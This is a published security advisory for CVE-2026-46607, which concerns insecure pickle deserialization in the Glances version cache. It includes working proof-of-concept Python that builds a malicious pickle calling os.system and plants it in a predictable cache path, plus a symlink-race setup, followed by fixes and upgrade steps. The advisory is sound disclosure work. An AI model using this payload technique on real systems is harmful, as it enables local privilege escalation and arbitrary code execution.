GHSA-9837-48hr-q32j CVE-2026-46607 PYSEC-2026-2496
Glances has Insecure Pickle Deserialization in its Version Cache that Leads to Arbitrary Code Execution
- Severity
- 7.8 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.19%
- Chance of exploitation in the next 30 days. Higher than 8.71% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-502 Deserialization of Untrusted Data
- Fix
4.5.5- Upgrade glances to this version or later
Description
Summary
glances/outdated.py uses pickle.load() to read a version-check cache file stored at a predictable, world-accessible path (~/.cache/glances/glances-version.db or $XDG_CACHE_HOME/glances/glances-version.db). No integrity check, signature verification, or format validation is performed before deserialization. An attacker with write access to that path — through any of several realistic local or container-level scenarios — can plant a malicious pickle file and achieve arbitrary code execution as the OS user running Glances the next time it starts with version checking enabled (the default).
Details
Affected file: glances/outdated.py, method Outdated._load_cache(), line 121
Direct URL (commit 04579778e733d705898a169e049dc84772c852da):
# outdated.py (_load_cache, line 119-127)
try:
with open(self.cache_file, 'rb') as f:
cached_data = pickle.load(f) # ← no integrity check
except Exception as e:
logger.debug(f"Cannot read version from cache file: {self.cache_file} ({e})")
...
self.cache_file is constructed from the XDG cache directory path at Outdated.__init__():
# outdated.py (__init__)
self.cache_file = os.path.join(
user_cache_dir('glances')[0],
'glances-version.db'
)
On a default Linux installation this resolves to /home/john/.cache/glances/glances-version.db (or /root/.cache/glances/… when Glances runs as root).
Python's pickle module is an execution-capable serialisation format: any class that implements __reduce__ can embed an arbitrary callable and argument tuple that Python will invoke unconditionally at pickle.load() time. There is no safe subset of pickle; the only safe mitigation is to not use it for untrusted data.
The code was verified on x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da). A malicious pickle crafted with os.system() via __reduce__ executed the injected shell command successfully before the surrounding Python code raised a TypeError.
PoC
Special configuration required
No non-default Glances configuration is needed. Version checking is enabled by default (check_update = true). The only pre condition is that the attacker can write to the Glances user's XDG cache directory — see the attack scenarios below for how this arises in practice.
Attack scenario A — local privilege escalation (shared multi-user host)
Prerequisites: Glances runs periodically (e.g. via systemd or cron) as a privileged user (root or a dedicated monitoring account). The attacker is an unprivileged local user who has write access to the Glances user's ~/.cache/glances/ directory (e.g. the directory or an ancestor is group- or world-writable, or was created with overly permissive umask).
Step 1 — Identify the cache path
python3 -c "from glances.config import user_cache_dir; print(user_cache_dir()[0])"
# Example output: /root/.cache/glances
Step 2 — Craft and plant a malicious pickle
import pickle, os, pathlib
class MaliciousPayload:
def __reduce__(self):
# This command runs as the Glances process user
cmd = 'id >> /tmp/glances_rce_proof.txt'
return (os.system, (cmd,))
cache_dir = pathlib.Path('/root/.cache/glances') # adjust to target
cache_file = cache_dir / 'glances-version.db'
cache_dir.mkdir(parents=True, exist_ok=True)
cache_file.write_bytes(pickle.dumps(MaliciousPayload()))
print(f'Payload written to {cache_file}')
Step 3 — Wait for Glances to start (or restart it)
Glances calls _load_cache() automatically at startup when check_update = true (the compiled-in default). No special configuration is required by the attacker.
Step 4 — Verify execution
cat /tmp/glances_rce_proof.txt
# uid=0(root) gid=0(root) groups=0(root) ← output from the Glances-user context
Attack scenario B — container / shared-volume poisoning
A compromised container that shares a Docker/Podman volume with the Glances container can write to the cache path on the shared volume. The next time Glances restarts (e.g. after a rolling update), the payload executes inside the Glances container with its privileges.
Attack scenario C — symlink race (TOCTOU)
Before the Glances cache directory is created for the first time (e.g. on a fresh installation), an attacker with write access to ~/.cache/ can create a symlink:
mkdir -p /home/john/.cache
ln -s /tmp/attacker_controlled /home/john/.cache/glances
When Glances writes its legitimate cache file it writes instead to /tmp/attacker_controlled/glances-version.db, which the attacker can replace with the malicious pickle before the next start.
Minimal self-contained reproduction
import sys, os, pickle, pathlib, argparse
sys.path.insert(0, '/path/to/glances') # adjust to local clone
FAKE_CACHE = pathlib.Path('/tmp/glances_test_cache')
CACHE_FILE = FAKE_CACHE / 'glances-version.db'
FAKE_CACHE.mkdir(parents=True, exist_ok=True)
class Exploit:
def __reduce__(self):
return (os.system, ('echo RCE_confirmed >> /tmp/glances_rce.txt',))
CACHE_FILE.write_bytes(pickle.dumps(Exploit()))
# Reproduce the exact Glances code path
from glances.outdated import Outdated
obj = object.__new__(Outdated)
obj.args = argparse.Namespace(disable_check_update=False, time=2)
obj.data = {}
obj.cache_file = str(CACHE_FILE)
try:
obj._load_cache() # pickle.load() fires here
except Exception:
pass # expected: int not subscriptable
import time; time.sleep(0.2)
print(pathlib.Path('/tmp/glances_rce.txt').read_text())
# Prints: RCE_confirmed
Impact
Vulnerability type: Insecure Deserialization (CWE-502)
Who is impacted: Any system where Glances is run with version checking enabled (the default) in a shared environment where a less-privileged process can write to the Glances user's XDG cache directory, or in any containerised deployment using shared volumes.
Impact:
- Confidentiality: Full — the attacker gains code execution in the context of the Glances process and can read any data accessible to that user.
- Integrity: Full — arbitrary commands can modify files, install persistence mechanisms, or alter system state.
- Availability: Full — the Glances process and, if running as root, the system can be disrupted.
On many deployments Glances is run as root (required to access hardware performance counters without specific capabilities), meaning successful exploitation yields full root code execution without any further privilege escalation step.
Suggested Fix
Replace pickle with json for the version cache. The data stored is a simple Python dictionary containing two string values and a datetime object; a JSON representation is straightforward:
import json
from datetime import datetime
# Saving
with open(self.cache_file, 'w', encoding='utf-8') as f:
json.dump({
'installed_version': self.installed_version(),
'latest_version': latest,
'refresh_date': datetime.now().isoformat(),
}, f)
# Loading
with open(self.cache_file, 'r', encoding='utf-8') as f:
cached_data = json.load(f)
cached_data['refresh_date'] = datetime.fromisoformat(cached_data['refresh_date'])
If pickle is retained for any reason, the cache file must be protected with an HMAC keyed from a Glances-managed secret (e.g. a random key stored in the Glances config directory, which should itself be mode 0600).
As an additional hardening measure, restrict the permissions of the Glances cache directory to 0700 at creation time.
Responsible Disclosure
The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.
Credits
This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| glances | < 4.5.5 |
4.5.5 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
glances PyPI → 4.5.5
- pip
pip install --upgrade "glances>=4.5.5"- poetry
poetry add "glances>=4.5.5"- uv
uv add "glances>=4.5.5"
Severity breakdown
CVSS 3.1 7.8
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Local
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-502: Deserialization of Untrusted Data
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
How to prevent it
- Architecture and Design, Implementation: If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
- Implementation: When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
- Implementation: Explicitly define a final object() to prevent deserialization.
- Architecture and Design, Implementation: Make fields transient to protect them from deserialization. An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
- Implementation: Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
- Architecture and Design, Implementation: Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-4h34-v6r8-mmjc Glances: as_dict_secure() Value-Level Bypass Leaks Credentials in URL Values via /api/4/config | Medium | Also affects glances |
| GHSA-59fj-m2j6-hcxh Glances: `--disable-config-exec` does not cover on-alert action commands (incomplete fix of CVE-2026-53925) | High | Also affects glances |
| GHSA-73wf-9vmv-5pv9 Glances: Incomplete fix of CVE-2026-32608: action-template sanitizer is bypassed by nested stat values (process 'cmdline') → OS command injection | High | Also affects glances |
| GHSA-fp27-88fp-2phg Glances: REST API CORS Credentials Guard Uses Exact-Match Instead of Membership Test — Bypassed by Any Multi-Origin Allowlist Containing the Wildcard | Medium | Also affects glances |
| GHSA-qcpp-8x79-hhp3 Glances has a command injection bypass of action-template sanitizer via cross-field shell-operator reconstruction | High | Also affects glances |
| GHSA-3vwc-qwhc-3mj7 Glances has arbitrary file write and command execution via `secure_popen` redirection and chaining operators in AMP command configuration | High | Also affects glances |
| GHSA-w856-8p3r-p338 Glances: XML-RPC Server Missing Host Header Validation Enables DNS Rebinding Attack | Medium | Also affects glances |
| GHSA-87qc-fj39-wccr Glances: XML-RPC Multi-Origin CORS Configuration Silently Falls Back to Wildcard (Incomplete Fix for CVE-2026-33533) | High | Also affects glances |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor